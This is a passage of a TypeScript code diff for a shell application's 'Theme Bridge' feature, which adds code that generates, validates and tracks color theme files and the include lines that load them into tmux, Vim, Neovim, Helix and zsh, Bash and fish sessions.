~/.config/bat. */ +export function batConfigDirectory(env: NodeJS.ProcessEnv = process.env): string { + if (env.BAT_CONFIG_DIR && env.BAT_CONFIG_DIR.startsWith('/')) return env.BAT_CONFIG_DIR; + const xdg = env.XDG_CONFIG_HOME && env.XDG_CONFIG_HOME.startsWith('/') ? env.XDG_CONFIG_HOME : join(env.HOME || homedir(), '.config'); + return join(xdg, 'bat'); +} + +export const runtimeDirectory = (target: 'neovim' | 'vim', env: NodeJS.ProcessEnv = process.env) => dirname(dirname(artifactPath(target, env))); + +const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); +const TARGETS: readonly ManagedTarget[] = ['tmux', 'neovim', 'vim', 'helix', 'bat', 'vivid', 'tmuxConfig']; + +/** A malformed or stale ledger yields no ownership (so nothing can be deleted on its say-so). */ +export function loadLedger(env: NodeJS.ProcessEnv = process.env): Ledger { + let parsed: unknown; + try { parsed = JSON.parse(readFileSync(ledgerPath(env), 'utf8')); } catch { return {version: 1, entries: {}}; } + const entries: Ledger['entries'] = {}; + const raw = isRecord(parsed) && isRecord(parsed.entries) ? parsed.entries : {}; + for (const target of TARGETS) { + const entry = raw[target]; + if (!isRecord(entry) || entry.target !== target || typeof entry.sha256 !== 'string' || !/^[0-9a-f]{64}$/u.test(entry.sha256)) continue; + // Only the path NMSh itself would use is ever trusted; a ledger cannot point NMSh at other files. + if (entry.artifactPath !== artifactPath(target, env)) continue; + const hook = isRecord(entry.hook) && typeof entry.hook.configPath === 'string' && Array.isArray(entry.hook.lines) + && entry.hook.lines.every(line => typeof line === 'string' && line.length < 2048) && entry.hook.lines.length > 0 && entry.hook.lines.length <= 4 + ? {configPath: entry.hook.configPath, lines: entry.hook.lines as string[], insertedAt: String(entry.hook.insertedAt ?? '')} : undefined; + entries[target] = {target, artifactPath: entry.artifactPath, mode: entry.mode === 'choose' ? 'choose' : 'follow', themeRef: String(entry.themeRef ?? ''), + format: String(entry.format ?? ''), formatVersion: Number(entry.formatVersion) || 1, sha256: entry.sha256, adapterVersion: Number(entry.adapterVersion) || 1, + generatedAt: String(entry.generatedAt ?? ''), ...(hook ? {hook} : {}), + ...(entry.cacheApproved === true ? {cacheApproved: true} : {}), + ...(typeof entry.cacheBuiltFor === 'string' && /^[0-9a-f]{64}$/u.test(entry.cacheBuiltFor) ? {cacheBuiltFor: entry.cacheBuiltFor} : {})}; + } + return {version: 1, entries}; +} + +export function saveLedger(ledger: Ledger, env: NodeJS.ProcessEnv = process.env): void { + const path = ledgerPath(env); + mkdirSync(dirname(path), {recursive: true, mode: 0o700}); + const staged = `${path}.${process.pid}.tmp`; + writeFileSync(staged, `${JSON.stringify(ledger, null, 2)}\n`, {encoding: 'utf8', mode: 0o600}); + renameSync(staged, path); +} + +export type Ownership = 'absent' | 'owned' | 'modified' | 'unknown'; + +/** Owned: the ledger recorded this exact content. Modified/unknown files are never touched. */ +export function ownership(target: ManagedTarget, ledger: Ledger, env: NodeJS.ProcessEnv = process.env): Ownership { + const path = artifactPath(target, env); + if (!existsSync(path)) return 'absent'; + const entry = ledger.entries[target]; + if (!entry) return 'unknown'; + let content: string; + try { content = readFileSync(path, 'utf8'); } catch { return 'unknown'; } + return sha256(content) === entry.sha256 ? 'owned' : 'modified'; +} + +export type GenerateResult = {ok: true; path: string; changed: boolean} | {ok: false; error: string}; + +/** + * resolve → render → stage → validate → atomic replace. A file NMSh does not + * provably own is never replaced; a failed validation leaves the previous + * artifact (and every other adapter) untouched. + */ +export function writeArtifact(target: ManagedTarget, content: string, validate: (content: string) => boolean, record: Omit, + env: NodeJS.ProcessEnv = process.env, now = new Date()): GenerateResult { + if (!validate(content)) return {ok: false, error: 'The generated file failed validation; the previous one was kept.'}; + const ledger = loadLedger(env); + const state = ownership(target, ledger, env); + const path = artifactPath(target, env); + if (state === 'modified' || state === 'unknown') { + return {ok: false, error: `${path} exists but NMSh cannot confirm it wrote it${state === 'modified' ? ' (it was edited)' : ''}. Move it away to let NMSh manage it.`}; + } + const hash = sha256(content); + const previous = ledger.entries[target]; + const changed = !previous || previous.sha256 !== hash || state === 'absent'; + if (changed) { + mkdirSync(dirname(path), {recursive: true, mode: 0o700}); + const staged = `${path}.${process.pid}.tmp`; + try { + writeFileSync(staged, content, {encoding: 'utf8', mode: 0o644}); + if (readFileSync(staged, 'utf8') !== content || !validate(readFileSync(staged, 'utf8'))) throw new Error('staged file did not verify'); + renameSync(staged, path); + } catch (error) { + try { unlinkSync(staged); } catch { /* nothing staged */ } + return {ok: false, error: `Writing ${path} failed: ${error instanceof Error ? error.message : String(error)}. The previous file was kept.`}; + } + } + ledger.entries[target] = {...record, target, artifactPath: path, sha256: hash, adapterVersion: ADAPTER_VERSION, generatedAt: now.toISOString(), + ...(previous?.hook ? {hook: previous.hook} : {}), ...(previous?.cacheApproved ? {cacheApproved: true} : {}), + ...(previous?.cacheBuiltFor ? {cacheBuiltFor: previous.cacheBuiltFor} : {})}; + saveLedger(ledger, env); + return {ok: true, path, changed}; +} + +/** Removes a managed artifact only when owned; an edited or unrecorded file is reported and kept. */ +export function removeArtifact(target: ManagedTarget, env: NodeJS.ProcessEnv = process.env): {ok: true; removed: boolean} | {ok: false; error: string} { + const ledger = loadLedger(env); + const state = ownership(target, ledger, env); + const path = artifactPath(target, env); + if (state === 'modified' || state === 'unknown') return {ok: false, error: `${path} was not removed: NMSh cannot confirm it is unchanged since NMSh wrote it.`}; + if (state === 'owned') unlinkSync(path); + // A recorded include stays recorded (it is harmless without the file: every include tolerates a missing file) until it is removed explicitly. + const hook = ledger.entries[target]?.hook; + if (hook) ledger.entries[target] = {...ledger.entries[target]!, sha256: sha256(''), hook}; + else delete ledger.entries[target]; + saveLedger(ledger, env); + return {ok: true, removed: state === 'owned'}; +} + +// ---- Exact config hooks --------------------------------------------------------- + +export interface HookSpec { + configPath: string; + lines: string[]; + /** Create the config file with only these lines when it does not exist. */ + createIfMissing: boolean; +} + +const HOOK_COMMENT = {tmux: '# NMSh Theme Bridge: loads NMSh-managed colors (remove with /theme-bridge)', + neovim: '-- NMSh Theme Bridge: loads NMSh-managed colors (remove with /theme-bridge)', + vim: '" NMSh Theme Bridge: loads NMSh-managed colors (remove with /theme-bridge)', + helix: '# NMSh Theme Bridge: selects the NMSh-managed theme (remove with /theme-bridge)'}; + +/** A path safe to embed in a single-quoted tmux/Vim/Lua string without escaping rules that differ by target. */ +export function hookSafePath(path: string): boolean { + return /^[^'"\\,\u0000-\u001f\u007f|]+$/u.test(path); +} + +function firstExisting(paths: readonly string[]): string | undefined { + return paths.find(path => existsSync(path)); +} + +/** The user config a hook belongs in, and the exact lines. Existing files are preferred; nothing else is assumed. */ +export function hookSpec(target: HookTarget, env: NodeJS.ProcessEnv = process.env, home = env.HOME || homedir()): HookSpec | {error: string} { + if (target === 'helix') { + const config = join(helixConfigDirectory(env), 'config.toml'); + const existing = readFileSafe(config); + // A theme the user already selected is theirs: NMSh never replaces it (`:theme nmsh-bridge` still works by hand). + if (existing !== undefined && /^\s*theme\s*=/mu.test(existing)) return {error: `${config} already selects a theme; NMSh leaves it. Use :theme nmsh-bridge in Helix, or change that line yourself.`}; + return {configPath: config, lines: [HOOK_COMMENT.helix, 'theme = "nmsh-bridge"'], createIfMissing: existing === undefined}; + } + const xdg = env.XDG_CONFIG_HOME && env.XDG_CONFIG_HOME.startsWith('/') ? env.XDG_CONFIG_HOME : join(home, '.config'); + if (target === 'tmux') { + const fragment = artifactPath('tmuxConfig', env); + if (!hookSafePath(fragment)) return {error: `The managed file path ${fragment} cannot be quoted safely for tmux.`}; + const existing = firstExisting([join(home, '.tmux.conf'), join(xdg, 'tmux', 'tmux.conf')]); + return {configPath: existing ?? join(home, '.tmux.conf'), lines: [HOOK_COMMENT.tmux, `source-file -q '${fragment}'`], createIfMissing: !existing}; + } + const runtime = runtimeDirectory(target, env); + if (!hookSafePath(runtime)) return {error: `The managed directory ${runtime} cannot be quoted safely for ${target === 'neovim' ? 'Neovim' : 'Vim'}.`}; + if (target === 'neovim') { + const lua = join(xdg, 'nvim', 'init.lua'); + const vimscript = join(xdg, 'nvim', 'init.vim'); + if (existsSync(vimscript) && !existsSync(lua)) { + return {configPath: vimscript, lines: [HOOK_COMMENT.vim, `silent! execute 'set runtimepath+=' . fnameescape('${runtime}') | silent! colorscheme nmsh-bridge`], createIfMissing: false}; + } + return {configPath: lua, lines: [HOOK_COMMENT.neovim, `pcall(function() vim.opt.runtimepath:append('${runtime}'); vim.cmd.colorscheme('nmsh-bridge') end)`], createIfMissing: !existsSync(lua)}; + } + const existing = firstExisting([join(home, '.vimrc'), join(home, '.vim', 'vimrc')]); + return {configPath: existing ?? join(home, '.vimrc'), lines: [HOOK_COMMENT.vim, `silent! execute 'set runtimepath+=' . fnameescape('${runtime}') | silent! colorscheme nmsh-bridge`], createIfMissing: !existing}; +} + +/** The verified plan (exact path, exact diff) for inserting a hook; nothing is written here. */ +/** Home as given and as resolved (a symlinked home, such as macOS /var → /private/var, is still home). */ +function homeRoots(home: string): string[] { + try { return [...new Set([home, realpathSync(home)])]; } catch { return [home]; } +} + +function readFileSafe(path: string): string | undefined { + try { return readFileSync(path, 'utf8'); } catch { return undefined; } +} + +export function planHook(spec: HookSpec, home: string): {plan: FileEditPlan} | {noop: string} | {error: string} { + const roots = homeRoots(home); + if (spec.createIfMissing && !existsSync(spec.configPath)) { + const result = planCreate(spec.configPath, `${spec.lines.join('\n')}\n`, roots); + return result.kind === 'plan' ? {plan: result.plan} : {error: 'reason' in result ? result.reason : 'Cannot create that file.'}; + } + const facts = inspectFile(spec.configPath, roots); + // A top-level TOML key must come before the first table, so Helix's assignment is inserted there, exactly. + const table = spec.lines.some(line => line.startsWith('theme = ')) && facts.content !== undefined ? /^\[[^\n]*$/mu.exec(facts.content)?.[0] : undefined; + if (table && facts.content!.includes(`${spec.lines.join('\n')}\n`)) return {noop: `${spec.configPath} already contains that; nothing to add.`}; + const result = table ? planReplace(facts, table, `${spec.lines.join('\n')}\n${table}`, facts.content!.indexOf(table)) : planAppend(facts, 'text', spec.lines.join('\n')); + if (result.kind === 'plan') return {plan: result.plan}; + if (result.kind === 'noop') return {noop: result.reason}; + return {error: 'reason' in result ? result.reason : 'Cannot edit that file.'}; +} + +/** The ledger entry that records a target's include: tmux's lives with the one managed tmux file. */ +export const hookOwner = (target: HookTarget): ManagedTarget => target === 'tmux' ? 'tmuxConfig' : target; + +/** The recorded include for a target, if any. */ +export function recordedHook(target: HookTarget, env: NodeJS.ProcessEnv = process.env): ConfigHook | undefined { + return loadLedger(env).entries[hookOwner(target)]?.hook; +} + +/** Applies a confirmed hook plan and records the exact lines in the ledger. */ +export function applyHook(target: HookTarget, plan: FileEditPlan, spec: HookSpec, env: NodeJS.ProcessEnv = process.env, now = new Date()): {ok: true} | {ok: false; error: string} { + const ledger = loadLedger(env); + const owner = hookOwner(target); + const entry = ledger.entries[owner]; + if (!entry) return {ok: false, error: 'Generate the managed file first.'}; + const result = applyPlan(plan); + if (!result.ok) return {ok: false, error: result.reason}; + ledger.entries[owner] = {...entry, hook: {configPath: spec.configPath, lines: [...spec.lines], insertedAt: now.toISOString()}}; + saveLedger(ledger, env); + return {ok: true}; +} + +/** The plan to remove exactly the recorded hook lines; anything else in the file is untouched. */ +export function planHookRemoval(target: HookTarget, home: string, env: NodeJS.ProcessEnv = process.env): {plan: FileEditPlan} | {gone: true} | {error: string} { + const hook = recordedHook(target, env); + if (!hook) return {error: 'NMSh has no recorded include for this target.'}; + const facts = inspectFile(hook.configPath, homeRoots(home)); + if (facts.content === undefined) return {error: `${hook.configPath} ${facts.refusal ?? 'cannot be read'}; nothing was changed.`}; + const block = `${hook.lines.join('\n')}\n`; + const occurrences = facts.content.split(block).length - 1; + if (occurrences === 0) return {gone: true}; + if (occurrences > 1) return {error: `${hook.configPath} contains the NMSh include more than once; remove the extra copies yourself so NMSh does not guess.`}; + const result = planReplace(facts, block, ''); + return result.kind === 'plan' ? {plan: result.plan} : {error: 'reason' in result ? result.reason : 'Cannot plan the removal.'}; +} + +export function applyHookRemoval(target: HookTarget, plan: FileEditPlan | undefined, env: NodeJS.ProcessEnv = process.env): {ok: true} | {ok: false; error: string} { + if (plan) { + const result = applyPlan(plan); + if (!result.ok) return {ok: false, error: result.reason}; + } + const ledger = loadLedger(env); + const entry = ledger.entries[hookOwner(target)]; + if (entry) { delete entry.hook; saveLedger(ledger, env); } + return {ok: true}; +} diff --git a/src/themeBridge/environment.ts b/src/themeBridge/environment.ts new file mode 100644 index 00000000..926d9e29 --- /dev/null +++ b/src/themeBridge/environment.ts @@ -0,0 +1,279 @@ +import {createHash} from 'node:crypto'; +import {mkdirSync, readFileSync, renameSync, writeFileSync} from 'node:fs'; +import {dirname, join} from 'node:path'; +import {nmshConfigDirectory} from '../configuration/paths.js'; +import type {ShellId} from '../shell/adapters/ShellAdapter.js'; + +/** + * The one Theme Bridge shell-environment sink. + * + * NMSh owns a persistent real shell; changing settings in the frontend cannot + * reach into that process directly. Instead NMSh writes one generated, + * validated, declarative file per shell syntax, and each ShellAdapter's own + * bootstrap (static NMSh code, never the user's rc files) applies it from the + * prompt hook: + * + * if nmsh_bridge_begin ; then + * nmsh_bridge_apply LS_COLORS '…' + * nmsh_bridge_clear LESS_TERMCAP_md + * fi + * + * Only allowlisted variable names and quoted literals appear; the file is + * re-validated before every atomic replace. `apply` remembers the value it + * replaced; `clear` restores it only if the variable still holds NMSh's own + * value, so Independent removes exactly what NMSh set and nothing the user + * changed. Nothing is written to history or the transcript. + */ + +export const BRIDGE_ENV_VARIABLES = ['LS_COLORS', 'CLICOLOR', 'LSCOLORS', 'LESS_TERMCAP_mb', 'LESS_TERMCAP_md', 'LESS_TERMCAP_me', 'LESS_TERMCAP_so', 'LESS_TERMCAP_se', + 'LESS_TERMCAP_us', 'LESS_TERMCAP_ue', 'GROFF_NO_SGR', 'BAT_THEME'] as const; +export type BridgeEnvVariable = typeof BRIDGE_ENV_VARIABLES[number]; +/** + * GNU listing commands that get a session-only color-auto wrapper (GNU ls + * has no environment switch for color). `--color=auto` comes first, so an + * explicit `--color=never` from the user still wins. + */ +export const LISTING_WRAPPERS = ['ls', 'gls'] as const; +export type ListingWrapper = typeof LISTING_WRAPPERS[number]; +export type BridgeEnvironment = Partial> & {listing?: readonly ListingWrapper[]}; + +const MAX_VALUE = 8 * 1024; +const ESC = '\u001B'; + +/** Values are printable ASCII plus ESC (for termcap sequences); anything else is refused. */ +export function validEnvValue(value: string): boolean { + return value.length <= MAX_VALUE && /^[ -~\u001b]*$/u.test(value); +} + +/** zsh/Bash ANSI-C quoting: `$'…'` with `\e`, `\\` and `\'` as the only escapes. */ +export function posixAnsiQuote(value: string): string { + return `$'${value.replace(/\\/gu, '\\\\').replace(/'/gu, "\\'").replaceAll(ESC, '\\e')}'`; +} + +/** Fish: single-quoted literal runs joined with bare `\e` escapes (fish concatenates adjacent tokens). */ +export function fishLiteral(value: string): string { + if (!value) return "''"; + return value.split(ESC).map(part => part ? `'${part.replace(/[\\']/gu, match => `\\${match}`)}'` : '').join('\\e') || "''"; +} + +export function bridgeEnvPath(shell: ShellId, env: NodeJS.ProcessEnv = process.env): string { + return join(nmshConfigDirectory(env), 'theme-bridge', `environment.${shell === 'fish' ? 'fish' : shell}`); +} + +/** Content-derived generation: identical environments never re-apply. */ +export function environmentGeneration(values: BridgeEnvironment): string { + const canonical = [...BRIDGE_ENV_VARIABLES.map(name => `${name}=${values[name] ?? ''}`), `listing=${[...values.listing ?? []].sort().join(',')}`].join('\n'); + return createHash('sha256').update(canonical).digest('hex').slice(0, 16); +} + +export function renderEnvironmentFile(shell: ShellId, values: BridgeEnvironment): string { + for (const [name, value] of Object.entries(values)) { + if (name === 'listing') { + if (!Array.isArray(value) || !value.every(item => (LISTING_WRAPPERS as readonly string[]).includes(item))) throw new Error('Refusing Theme Bridge listing wrappers.'); + continue; + } + if (!(BRIDGE_ENV_VARIABLES as readonly string[]).includes(name) || value === undefined || typeof value !== 'string' || !validEnvValue(value)) throw new Error(`Refusing Theme Bridge value for ${name}.`); + } + const generation = environmentGeneration(values); + const body = [...BRIDGE_ENV_VARIABLES.map(name => { + const value = values[name]; + if (value === undefined) return ` nmsh_bridge_clear ${name}`; + return ` nmsh_bridge_apply ${name} ${shell === 'fish' ? fishLiteral(value) : posixAnsiQuote(value)}`; + }), ...LISTING_WRAPPERS.map(command => ` nmsh_bridge_listing ${values.listing?.includes(command) ? 'on' : 'off'} ${command}`)]; + const header = '# Generated by NMSh Theme Bridge. Do not edit: NMSh replaces this file.\n'; + return shell === 'fish' + ? `${header}if nmsh_bridge_begin ${generation}\n${body.join('\n')}\nend\n` + : `${header}if nmsh_bridge_begin ${generation}; then\n${body.join('\n')}\nfi\n`; +} + +const POSIX_LINE = /^ nmsh_bridge_(?:apply [A-Z][A-Z_a-z]* \$'(?:[^'\\]|\\[\\'e])*'|clear [A-Z][A-Z_a-z]*)$/u; +const FISH_LINE = /^ nmsh_bridge_(?:apply [A-Z][A-Z_a-z]* (?:'(?:[^'\\]|\\[\\'])*'|\\e)+|clear [A-Z][A-Z_a-z]*)$/u; + +/** Strict grammar check of a generated file: nothing but the header, the guard and allowlisted calls. */ +export function validateEnvironmentFile(shell: ShellId, content: string): boolean { + const lines = content.split('\n'); + if (lines.at(-1) === '') lines.pop(); + const [header, open, ...rest] = lines; + const close = rest.pop(); + if (header !== '# Generated by NMSh Theme Bridge. Do not edit: NMSh replaces this file.') return false; + if (shell === 'fish' ? !/^if nmsh_bridge_begin [0-9a-f]{16}$/u.test(open ?? '') || close !== 'end' + : !/^if nmsh_bridge_begin [0-9a-f]{16}; then$/u.test(open ?? '') || close !== 'fi') return false; + if (rest.length !== BRIDGE_ENV_VARIABLES.length + LISTING_WRAPPERS.length) return false; + const variables = rest.slice(0, BRIDGE_ENV_VARIABLES.length); + const listing = rest.slice(BRIDGE_ENV_VARIABLES.length); + return variables.every((line, index) => (shell === 'fish' ? FISH_LINE : POSIX_LINE).test(line) && line.split(' ')[3] === BRIDGE_ENV_VARIABLES[index]) + && listing.every((line, index) => line === ` nmsh_bridge_listing on ${LISTING_WRAPPERS[index]}` || line === ` nmsh_bridge_listing off ${LISTING_WRAPPERS[index]}`); +} + +/** + * Writes the environment for every shell syntax (staged, validated, then + * atomically renamed). New shells pick it up at their first prompt; running + * shells at their next prompt. + */ +export function writeEnvironmentFiles(values: BridgeEnvironment, env: NodeJS.ProcessEnv = process.env): void { + for (const shell of ['zsh', 'bash', 'fish'] as const) { + const path = bridgeEnvPath(shell, env); + const content = renderEnvironmentFile(shell, values); + if (!validateEnvironmentFile(shell, content)) throw new Error('Generated Theme Bridge environment failed validation.'); + let current: string | undefined; + try { current = readFileSync(path, 'utf8'); } catch { current = undefined; } + if (current === content) continue; + mkdirSync(dirname(path), {recursive: true, mode: 0o700}); + const staged = `${path}.${process.pid}.tmp`; + writeFileSync(staged, content, {encoding: 'utf8', mode: 0o600}); + renameSync(staged, path); + } +} + +/** + * The adapter-owned bootstrap that applies the environment file. Static NMSh + * code; the only dynamic part is the quoted file path. The file is applied + * only when it is a regular file owned by the user. + */ +export function bridgeBootstrap(shell: ShellId, path: string): string { + if (shell === 'fish') { + return ` +function nmsh_bridge_begin + test "$argv[1]" != "$__nmsh_bridge_generation"; or return 1 + set -g __nmsh_bridge_generation $argv[1] +end +function nmsh_bridge_apply + set -l name $argv[1] + set -l own __nmsh_bridge_own_$name + set -l orig __nmsh_bridge_orig_$name + if not set -q $own; or test "$$name" != "$$own" + if set -q $name; set -g $orig $$name; else; set -e $orig; end + end + set -g $own $argv[2] + set -gx $name $argv[2] +end +function nmsh_bridge_clear + set -l name $argv[1] + set -l own __nmsh_bridge_own_$name + set -l orig __nmsh_bridge_orig_$name + set -q $own; or return 0 + if test "$$name" = "$$own" + if set -q $orig; set -gx $name $$orig; else; set -e $name; end + end + set -e $own; set -e $orig +end +function nmsh_bridge_listing + # Literal per-command wrappers only; never one that would shadow the user's own alias or function. + set -l marker __nmsh_bridge_listing_$argv[2] + if test "$argv[1]" = on + set -q $marker; and return 0 + functions -q $argv[2]; and return 0 + command -q $argv[2]; or return 0 + switch $argv[2] + case ls + function ls --wraps ls; command ls --color=auto $argv; end + case gls + function gls --wraps gls; command gls --color=auto $argv; end + end + set -g $marker 1 + else if set -q $marker + functions -e $argv[2] + set -e $marker + end +end +function nmsh_bridge_sync + set -l file ${fishQuoteLocal(path)} + test -f $file -a -O $file; and source $file +end +`; + } + const quoted = posixAnsiQuote(path); + if (shell === 'zsh') { + return ` +function nmsh_bridge_begin { + [[ $1 != \${__nmsh_bridge_generation-} ]] || return 1 + typeset -g __nmsh_bridge_generation=$1 +} +function nmsh_bridge_apply { + local name=$1 own=__nmsh_bridge_own_$1 orig=__nmsh_bridge_orig_$1 + if (( ! \${(P)+own} )) || [[ \${(P)name-} != \${(P)own} ]]; then + if (( \${(P)+name} )); then typeset -g $orig="\${(P)name}"; else unset $orig; fi + fi + typeset -g $own="$2" + export $name="$2" +} +function nmsh_bridge_clear { + local name=$1 own=__nmsh_bridge_own_$1 orig=__nmsh_bridge_orig_$1 + (( \${(P)+own} )) || return 0 + if [[ \${(P)name-} == \${(P)own} ]]; then + if (( \${(P)+orig} )); then export $name="\${(P)orig}"; else unset $name; fi + fi + unset $own $orig +} +function nmsh_bridge_listing { + # Literal per-command wrappers only; never one that would shadow the user's own alias or function. + local marker=__nmsh_bridge_listing_$2 + if [[ $1 == on ]]; then + (( \${(P)+marker} )) && return 0 + (( \${+aliases[$2]} || \${+functions[$2]} )) && return 0 + (( \${+commands[$2]} )) || return 0 + case $2 in + ls) function ls { command ls --color=auto "$@" } ;; + gls) function gls { command gls --color=auto "$@" } ;; + esac + typeset -g $marker=1 + elif (( \${(P)+marker} )); then + unfunction $2 2>/dev/null + unset $marker + fi +} +function nmsh_bridge_sync { + local file=${quoted} + [[ -f $file && -O $file ]] && source $file +} +`; + } + return ` +nmsh_bridge_begin() { + [[ "$1" != "\${__nmsh_bridge_generation-}" ]] || return 1 + __nmsh_bridge_generation=$1 +} +nmsh_bridge_apply() { + local name=$1 own=__nmsh_bridge_own_$1 orig=__nmsh_bridge_orig_$1 + if [[ -z "\${!own+x}" || "\${!name-}" != "\${!own}" ]]; then + if [[ -n "\${!name+x}" ]]; then printf -v "$orig" '%s' "\${!name}"; else unset "$orig"; fi + fi + printf -v "$own" '%s' "$2" + export "$name=$2" +} +nmsh_bridge_clear() { + local name=$1 own=__nmsh_bridge_own_$1 orig=__nmsh_bridge_orig_$1 + [[ -n "\${!own+x}" ]] || return 0 + if [[ "\${!name-}" == "\${!own}" ]]; then + if [[ -n "\${!orig+x}" ]]; then export "$name=\${!orig}"; else unset "$name"; fi + fi + unset "$own" "$orig" +} +nmsh_bridge_listing() { + # Literal per-command wrappers only; never one that would shadow the user's own alias or function. + local marker=__nmsh_bridge_listing_$2 + if [[ $1 == on ]]; then + [[ -n "\${!marker+x}" ]] && return 0 + { builtin alias "$2" || builtin declare -F "$2"; } >/dev/null 2>&1 && return 0 + builtin type -P "$2" >/dev/null 2>&1 || return 0 + case $2 in + # 'function name' form: Bash alias-expands 'name()' while parsing, and ls is often an alias (Ubuntu's default bashrc). + ls) function ls { command ls --color=auto "$@"; } ;; + gls) function gls { command gls --color=auto "$@"; } ;; + esac + printf -v "$marker" '%s' 1 + elif [[ -n "\${!marker+x}" ]]; then + unset -f "$2" + unset "$marker" + fi +} +nmsh_bridge_sync() { + local file=${quoted} + [[ -f $file && -O $file ]] && source "$file" +} +`; +} + +function fishQuoteLocal(value: string): string { + return `'${value.replace(/[\\']/gu, match => `\\${match}`)}'`; +} diff --git a/src/themeBridge/model.ts b/src/themeBridge/model.ts new file mode 100644 index 00000000..7f09b2f0 --- /dev/null +++ b/src/themeBridge/model.ts @@ -0,0 +1,120 @@ +/** + * Theme Bridge persisted model. + * + * Two levels: a safety switch (`enabled`, Off by default) and, when On, an + * apply policy: + * + * manual each target uses its own stored mode (Independent / Follow / Choose) + * follow every supported target follows the active NMSh theme + * choose every supported target uses one global pinned theme + * + * The per-target settings are the Manual state; global policies never rewrite + * them, so returning to Manual restores exactly what was there. Effective + * behavior is always computed (switch × policy × capability × stored state). + * + * This module is data only (no theme resolution), so the configuration + * normalizer can use it without import cycles. + */ + +export const BRIDGE_TARGETS = ['fzf', 'pager', 'lsColors', 'bat', 'delta', 'tmux', 'neovim', 'vim', 'helix'] as const; +export type BridgeTargetId = typeof BRIDGE_TARGETS[number]; +export const BRIDGE_TARGET_LABELS: Record = { + fzf: 'fzf', pager: 'less / man', lsColors: 'File listing colors', bat: 'bat', delta: 'delta', tmux: 'tmux', neovim: 'Neovim', vim: 'Vim', helix: 'Helix', +}; + +/** + * What NMSh can do for a target. `direct`: invocation or session environment + * only. `managed`: NMSh generates an owned artifact (and may need a reviewed + * activation step). `detected`: shown for status only; never managed. + */ +export type BridgeCapability = 'direct' | 'managed' | 'detected'; +export const BRIDGE_CAPABILITY: Record = { + fzf: 'direct', pager: 'direct', lsColors: 'direct', bat: 'managed', delta: 'detected', tmux: 'managed', neovim: 'managed', vim: 'managed', helix: 'managed', +}; +export const BRIDGE_CAPABILITY_LABELS: Record = {direct: 'Direct and environment', managed: 'Managed themes', detected: 'Detected only'}; +export const bridgeSupported = (target: BridgeTargetId): boolean => BRIDGE_CAPABILITY[target] !== 'detected'; + +export const BRIDGE_MODES = ['independent', 'follow', 'choose'] as const; +export type BridgeMode = typeof BRIDGE_MODES[number]; +export const BRIDGE_MODE_LABELS: Record = {independent: 'Independent', follow: 'Follow NMSh', choose: 'Choose theme'}; + +export const BRIDGE_POLICIES = ['manual', 'follow', 'choose'] as const; +export type BridgePolicy = typeof BRIDGE_POLICIES[number]; +export const BRIDGE_POLICY_LABELS: Record = {manual: 'Manual', follow: 'Follow NMSh', choose: 'Choose theme'}; + +export interface BridgeTargetSetting { + mode: BridgeMode; + /** Choose theme only: a stable theme reference (`builtin:…` or `asset:…`). Kept when the mode changes. */ + theme?: string; +} + +export interface ThemeBridgeSettings { + /** Safety switch (Setup's "Extend colors to tools?"), Off by default; Off keeps everything Independent but preserves choices. */ + enabled: boolean; + policy: BridgePolicy; + /** The global pinned theme for policy `choose` (kept when the policy changes). */ + theme?: string; + /** Manual state: one setting per target. */ + targets: Record; +} + +export const DEFAULT_THEME_BRIDGE = (): ThemeBridgeSettings => + ({enabled: false, policy: 'manual', targets: Object.fromEntries(BRIDGE_TARGETS.map(id => [id, {mode: 'independent'}])) as Record}); + +/** The setting in effect for a target: switch, policy and capability applied over the stored Manual state. */ +export function effectiveSetting(settings: ThemeBridgeSettings, target: BridgeTargetId): BridgeTargetSetting { + if (!settings.enabled || !bridgeSupported(target)) return {mode: 'independent'}; + if (settings.policy === 'follow') return {mode: 'follow'}; + if (settings.policy === 'choose') return settings.theme ? {mode: 'choose', theme: settings.theme} : {mode: 'independent'}; + return settings.targets[target]; +} + +export function effectiveMode(settings: ThemeBridgeSettings, target: BridgeTargetId): BridgeMode { + return effectiveSetting(settings, target).mode; +} + +/** Whether a target's own mode/theme can be edited now (Manual policy, supported target). */ +export function targetEditable(settings: ThemeBridgeSettings, target: BridgeTargetId): boolean { + return settings.policy === 'manual' && bridgeSupported(target); +} + +const REF = /^(?:asset:[a-z0-9][a-z0-9-]{2,39}|builtin:[A-Za-z0-9]+(?:@[a-z]+)?)$/u; +const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); + +/** + * Unknown or malformed targets read as Independent; a Choose without a valid + * reference has nothing to pin and reads as Independent. Configurations from + * before the policy existed read as Manual, so no per-target choice is lost. + */ +export function normalizeThemeBridge(value: unknown): ThemeBridgeSettings { + const settings = DEFAULT_THEME_BRIDGE(); + const targets = isRecord(value) && isRecord(value.targets) ? value.targets : {}; + for (const id of BRIDGE_TARGETS) { + const item = targets[id]; + if (!isRecord(item)) continue; + const theme = typeof item.theme === 'string' && REF.test(item.theme) ? item.theme : undefined; + const mode = BRIDGE_MODES.includes(item.mode as BridgeMode) ? item.mode as BridgeMode : 'independent'; + settings.targets[id] = {mode: mode === 'choose' && !theme ? 'independent' : mode, ...(theme ? {theme} : {})}; + } + settings.enabled = isRecord(value) && typeof value.enabled === 'boolean' ? value.enabled : BRIDGE_TARGETS.some(id => settings.targets[id].mode !== 'independent'); + const theme = isRecord(value) && typeof value.theme === 'string' && REF.test(value.theme) ? value.theme : undefined; + if (theme) settings.theme = theme; + const policy = isRecord(value) && BRIDGE_POLICIES.includes(value.policy as BridgePolicy) ? value.policy as BridgePolicy : 'manual'; + settings.policy = policy === 'choose' && !theme ? 'manual' : policy; + return settings; +} + +/** Targets pinned to a reference in the Manual state (Choose theme), for delete protection. */ +export function targetsPinnedTo(settings: ThemeBridgeSettings, ref: string): BridgeTargetId[] { + // Pins count even while the switch is Off or a global policy applies: they come back with Manual. + return BRIDGE_TARGETS.filter(id => settings.targets[id].mode === 'choose' && settings.targets[id].theme === ref); +} + +/** The global Choose theme pins a reference (whatever the current policy, since it returns with Choose). */ +export function globallyPinnedTo(settings: ThemeBridgeSettings, ref: string): boolean { + return settings.theme === ref; +} + +export function anyBridgeTargetActive(settings: ThemeBridgeSettings): boolean { + return BRIDGE_TARGETS.some(id => effectiveMode(settings, id) !== 'independent'); +} diff --git a/src/themeBridge/runtime.ts b/src/themeBridge/runtime.ts new file mode 100644 index 00000000..9580e25e --- /dev/null +++ b/src/themeBridge/runtime.ts @@ -0,0 +1,474 @@ +import {existsSync, readFileSync, statSync} from 'node:fs'; +import {homedir} from 'node:os'; +import {join} from 'node:path'; +import {XMLValidator} from 'fast-xml-parser'; 